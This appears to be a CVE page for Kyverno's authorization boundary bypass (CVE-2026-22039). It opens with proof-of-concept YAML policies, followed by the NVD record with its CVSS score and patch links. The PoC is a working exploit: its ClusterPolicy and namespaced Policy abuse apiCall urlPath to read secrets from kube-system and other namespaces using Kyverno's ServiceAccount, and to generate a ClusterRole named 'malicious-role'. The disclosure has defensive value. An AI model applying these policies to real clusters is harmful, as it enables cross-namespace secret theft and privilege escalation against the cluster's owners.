CVE-2026-22039

# CVE-2026-22039 PoC - Kyverno Authorization Boundary Bypass # Target: Kyverno < 1.15.3 or < 1.16.3 # This PoC demonstrates how an authenticated user with namespace-level Policy create permission # can exploit the apiCall feature to read secrets from other namespaces apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: exploit-api-call-boundary spec: # This will be created in attacker-controlled namespace # But can access resources outside the namespace rules: - name: read-secrets-from-other-namespace match: any: - resources: kinds: - ConfigMap context: # Exploit: Use variable substitution to control urlPath - apiCall: urlPath: "/api/v1/namespaces/kube-system/secrets" # This path is outside the policy's namespace # but will be executed with Kyverno SA privileges mutate: patchStrategicMerge: data: exploited: "true" --- # Alternative exploitation via namespaced Policy apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-namespace-read namespace: attacker-namespace spec: rules: - name: read-configmaps-cross-ns match: resources: kinds: - Pod context: - apiCall: # Exploit: Access secrets from other namespace urlPath: "/api/v1/namespaces/{{request.namespace}}/secrets" # Can be manipulated to target any namespace generate: # Attempt to create cluster-scoped resources kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 name: malicious-role namespace: "{{request.namespace}}"

{"cve": {"id": "CVE-2026-22039", "sourceIdentifier": "[email protected]", "published": "2026-01-27T17:16:12.097", "lastModified": "2026-02-02T15:13:57.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have a critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace. As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability."}, {"lang": "es", "value": "Kyverno es un motor de políticas diseñado para equipos de ingeniería de plataformas nativas de la nube. Las versiones anteriores a la 1.16.3 y 1.15.3 tienen un bypass crítico de límite de autorización en la llamada a la API de política de Kyverno con espacio de nombres. La 'urlPath' resuelta se ejecuta utilizando la ServiceAccount del controlador de admisión de Kyverno, sin que se aplique que la solicitud esté limitada al espacio de nombres de la política. Como resultado, cualquier usuario autenticado con permiso para crear una política con espacio de nombres puede hacer que Kyverno realice solicitudes a la API de Kubernetes utilizando la identidad del controlador de admisión de Kyverno, apuntando a cualquier ruta de API permitida por el RBAC de esa ServiceAccount. Esto rompe el aislamiento de espacios de nombres al permitir lecturas entre espacios de nombres (por ejemplo, ConfigMaps y, donde esté permitido, Secrets) y permite escrituras a nivel de clúster o entre espacios de nombres (por ejemplo, la creación de ClusterPolicies) controlando la 'urlPath' mediante la sustitución de variables de contexto. Las versiones 1.16.3 y 1.15.3 contienen un parche para la vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.15.3", "matchCriteriaId": "EC83E83A-2BA5-4A52-AF06-06E67CA03749"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.16.0", "versionEndExcluding": "1.16.3", "matchCriteriaId": "AFFC15A4-197B-44FB-985A-BDDE22679655"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno/commit/e0ba4de4f1e0ca325066d5095db51aec45b1407b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}